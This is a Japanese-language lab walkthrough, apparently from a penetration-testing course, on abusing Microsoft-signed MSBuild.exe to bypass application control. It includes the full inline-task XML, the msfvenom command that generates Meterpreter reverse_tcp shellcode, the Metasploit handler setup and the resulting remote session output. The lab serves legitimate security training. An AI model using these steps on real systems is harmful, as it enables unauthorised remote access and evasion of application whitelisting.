Skip to content

Lab 4.5: MSBuild

オフライン演習

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスは必要です。

目的

  • アプリケーション制御のバイパスとしてMSBuildを使用する
  • 簡単なテキストを出力するテストXMLファイルを使用する
  • MetasploitおよびMeterpreterでMSBuildを使用する

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Linux
  • Windows

ラボ - ステップバイステップの手順

1: セットアップ

このラボ演習では、ローカルのWindowsおよびLinux VMを使用します。まず、MSBuildを使用して任意のコードを実行できることを証明するために、サンプルのXMLファイルから始めましょう。

Windowsホスト上で、デスクトップにリンクされているCourseFilesディレクトリ内のbuild1.xmlファイルを開きます。

build1.xmlを開く

以下で強調表示されているコード行を、選択したコードに置き換えます。

元のテキスト

public override bool Execute()
{
//PUT CODE TO EXECUTE HERE;
return true;
}

2: 初期テスト

この行を:

元のテキスト

//PUT CODE TO EXECUTE HERE;

次のコードに置き換えます:

置き換えテキスト

Console.WriteLine("Hello SEC560!");

置き換えコードは単に*Hello SEC560!*と出力します。完全なXMLファイルは次のようになります:

置き換え後のテキスト

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample : Task, ITask
        {
          public override bool Execute()
          {
            Console.WriteLine("Hello SEC560!");
            return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

build1.xmlファイルを保存します。PowerShellターミナルを開き(Windowsデスクトップ上のTerminalショートカットを使用)、次のコマンドを使用してMSBuild.exeを見つけます:

コマンド

ls C:\Windows msbuild.exe -Recurse 2>$null | % FullName

想定される結果

PS C:\Windows\Microsoft.NET\Framework\v2.0.50727> ls C:\Windows msbuild.exe -Recurse 2>$null | % FullName
C:\Windows\assembly\GAC_32\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v3.5\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_10.0.26100.1_none_ddc589fe5044ffed\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_3.5.26100.1_none_97b37ed8879d1c57\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_de1bfcc9998a681e\MSBuild.exe
C:\Windows\WinSxS\wow64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_07ea43e35ad4fd3b\MSBuild.exe
C:\Windows\WinSxS\x86_msbuild_b03f5f7f11d50a3a_10.0.26100.1_none_2572c0d564c128f3\MSBuild.exe
C:\Windows\WinSxS\x86_msbuild_b03f5f7f11d50a3a_3.5.26100.1_none_3b94e354cf3fab21\MSBuild.exe

次のMSBuild.exeを選択しましょう:

C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe

これは32ビット版なので、シェルコードも32ビットである必要があります。上記で別のMSBuildを選択した場合は、ペイロードをそれに合わせて変更する必要があります。

ファイル名とパスをコピーして、ターミナルに貼り付けましょう:

  1. ドラッグしてパスを選択します
  2. Enterキーを押して選択したパスをクリップボードにコピーします
  3. 右クリックして貼り付けます

その後、build1.xmlファイルへのフルパスを入力できます。コマンドは次のようになります:

コマンド

C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build1.xml

Enterキーを押すと、次の出力が表示されます:

想定される結果

PS C:\Users\sec560> C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build1.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 8/21/2024 3:25:08 PM.
Hello SEC560!

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:00.42

エラーが発生した場合は、コードを追加したことを再確認してください。また、行の最後にセミコロン(;)があることを確認してください。

3: Meterpreterシェルコード

まず、VMが通信できることを確認しましょう。Windowsで、Linux ホストのeth0インターフェースのIPアドレスにpingを試みます。

コマンド

ping LINUX_ETH0_ADDRESS

LINUX_ETH0_ADDRESSを置き換えてください!

LINUX_ETH0_ADDRESSをLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.Xのようなアドレスではありません)。

Linuxに切り替えて、Metasploitとmsfvenomを使用できるようにしましょう。

まず、msfconsoleを起動し、新しいペイロードからの接続を受信するリスナーをセットアップしましょう。

コマンド

msfconsole

msfconsoleを起動すると、いくつかの質問に答えるよう求められる*場合があります*。

  1. 最初のプロンプトでEnterキーを押してデフォルトを受け入れます(webserviceを開始しない)
  2. 2番目のプロンプトで、yesと入力します(既存のデータと設定を削除)

次のオプションを設定します:

  • Exploit: use exploit/multi/handler
  • Payload: set payload windows/meterpreter/reverse_tcp(デフォルト)
  • LHOST: set lhost 0.0.0.0(0.0.0.0はすべてのインターフェースでリスンします)
  • LPORT: set lport 3333

次に、設定が正しいことを確認してから、runコマンドを実行してリスナーを起動します。

コマンド

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333

想定される結果

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 3333
lport => 3333

設定を確認します。

コマンド

show options

想定される結果

msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
LPORT     3333             yes       The listen port


Exploit target:

Id  Name
--  ----
0   Wildcard Target



View the full module info with the info, or info -d command.

それでは、ハンドラーを起動しましょう。

コマンド

run

想定される結果

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:3333

次のステップのために新しいターミナルまたはタブを開いてください。

msfvenomを使用してシェルコードを生成する必要があります。以下のコマンドを使用しますが、eth0にはLinuxのIPアドレスを使用してください。

まず、ペイロード出力形式を見てみましょう。

コマンド

msfvenom --list formats

想定される結果

sec560@slingshot:~$ msfvenom --list formats

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
...truncated for brevity...

リストにはcsharpが表示されます。これは、C#プログラミング言語と互換性のあるバイト形式のシェルコードです。

コマンド

msfvenom -p windows/meterpreter/reverse_tcp lhost=eth0 lport=3333 -f csharp | tee /tmp/payload.txt

想定される結果

sec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_tcp lhost=eth0 lport=3333 -f csharp | tee /tmp/payload.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1830 bytes
byte[] buf = new byte[354] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
..truncated for brevity...

このファイルをWindowsに取得する必要があります。/tmpディレクトリに移動し、シンプルなHTTPサーバーを起動します。

コマンド

cd /tmp
python3 -m http.server

Windowsに戻り、ポート8000でLinux IPアドレスを参照します。次に、payload.txtファイルを開きます。

Windowsからシェルコードにアクセスする

payload.txtからすべてのテキストをコピーし、// PUT YOUR SHELLCODE HERE;と書かれた行のすぐ下のbuild2.xmlに貼り付けます。インデントは重要ではないことに注意してください。

build2.xmlにシェルコードを追加する

build2.xmlファイルを保存します。それでは、ペイロードを起動しましょう!

コマンド

C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build2.xml

想定される結果

PS C:\Users\sec560> C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build2.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 8/21/2024 3:41:25 PM.

ターミナルは待機状態になります。これは、Metasploitでセッションが確立されているはずだからです。

次のステップのためにLinux VMに戻ってください

想定される結果

    [*] Sending stage (176198 bytes) to 10.10.10.153
    [*] Meterpreter session 1 opened (10.10.10.142:3333 -> 10.10.10.153:49785) at 2024-08-21 22:41:27 +0000

    meterpreter > 

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : SEC560-WINDOWS
OS              : Windows 11 (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

コマンド

getuid

想定される結果

meterpreter > getuid
Server username: SEC560-WINDOWS\sec560

Metasploitを終了します。

コマンド

exit -y

4: ボーナス

時間がある場合は、64ビットのMeterpreterペイロードを構築し、64ビットのMSBuildで動作させてください。64ビット相当のAPI呼び出しを行うための代替テンプレートが必要です。テンプレートの例はこちらにあります。

まとめ

Microsoftが署名したバイナリを使用して、選択したコードを実行しました。このような新しい技術は常に登場しています。AV/EDRバイパスとは異なり、アプリケーション制御バイパスははるかに長期間有効です。